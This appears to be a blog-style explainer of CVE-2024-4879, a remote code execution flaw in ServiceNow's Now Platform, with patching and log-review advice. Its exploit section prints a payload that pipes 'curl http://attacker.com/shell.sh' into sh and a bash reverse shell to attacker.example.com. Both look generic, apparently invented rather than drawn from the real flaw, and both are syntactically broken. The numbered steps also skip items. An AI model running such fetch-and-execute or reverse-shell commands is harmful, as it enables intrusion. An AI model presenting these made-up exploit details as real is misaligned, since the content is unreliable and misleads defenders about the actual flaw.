ServiceNow is a widely adopted cloud-based service management platform, used across industries—from Fortune 500 giants to small tech startups—for IT service automation, workflow orchestration, and more. On June 2024, a high-impact vulnerability was identified and addressed: CVE-2024-4879. If left unpatched, this flaw could allow a remote, unauthenticated attacker to execute arbitrary code within ServiceNow’s Now Platform environment.

In this article, we’ll break down what CVE-2024-4879 is, why it’s dangerous, how attackers could abuse it, and—most importantly—what you should do. We’ll keep it simple, add real code snippets, and reference original advisories.

What Is CVE-2024-4879?

CVE-2024-4879 is an input validation vulnerability discovered in the Vancouver (Q4 2023) and Washington DC (Q1 2024) ServiceNow Now Platform releases. This means that, somewhere in the platform, one or more inputs weren’t sufficiently checked for malicious content, opening the door for attackers to inject code.

Impact: Remote Code Execution (RCE)

> Official Advisory: https://www.securityweek.com/servicenow-patches-critical-rc…

How Could Hackers Exploit CVE-2024-4879?

Because this is an input validation bug, attackers could send special data to a vulnerable ServiceNow endpoint. The bug lets them smuggle code that the platform later runs—unintentionally and possibly with high privileges.

Find the exposed vulnerable endpoint: Attackers scan the target’s public ServiceNow instance.

2. Craft a malicious POST/GET request: Insert payloads into parameters that the platform processes.
3. Trigger code execution: The vulnerable processing engine doesn’t validate input properly, so the code contained in the input gets executed.

Here’s an example exploit payload (note: for educational use only)

POST /api/now/table/example_table HTTP/1.1
Host: your-instance.service-now.com
Content-Type: application/json

{
    "malicious_field": "${execute:system('curl http://attacker.com/shell.sh|sh';)}"
}

If the input isn’t validated properly, the ${execute:...} pattern might get passed to a backend engine capable of running code, depending on the integration or scripting engine used in certain Now Platform automation features.

Proof of Concept (PoC) — Simplified

Imagine an attacker wants to drop a reverse shell (basic demonstration, do not try this in production) using crafted JSON:

{
  "field": "1; bash -i >& /dev/tcp/attacker.example.com/4444 >&1"
}

If this reaches a shell through a broken validation in a business rule or automation, it could spawn a remote shell to the attacker.

ServiceNow moved quickly. Here’s what they did

1. Patched all hosted instances (cloud/SaaS customers were patched almost instantly).

For the exact patch & hotfix version for your instance and environment

- View ServiceNow Security Advisories

How To Protect Your ServiceNow Instance

1. Check your instance/partner cloud version: Are you running Vancouver or Washington DC?

Review server logs: Look for unknown or suspicious API requests from the last few weeks.

4. Check for unrecognized business rules or scripts: Some attackers implant persistence, so review recent code changes.

Limit unnecessary public API exposure: Always a good practice.

Official Guidance:
- ServiceNow Security Update: CVE-2024-4879
- ServiceNow Support Knowledge Base

Summary

CVE-2024-4879 is a classic example of how input validation mistakes can turn into system-wide RCE vulnerabilities—even in big-ticket, enterprise SaaS platforms like ServiceNow. If you run or administer ServiceNow, especially self-hosted or partner-managed setups, patch now. Don’t assume “cloud means safe”—verify your patch status!

If you want more technical details or have questions, see the official ServiceNow advisory or reach out to their security support.

- ServiceNow Security Advisory - CVE-2024-4879
- Vendor Patch Info
- Mitre CVE Record (coming soon)

Timeline

Published on: 07/10/2024 17:15:12 UTC
Last modified on: 07/12/2024 12:28:58 UTC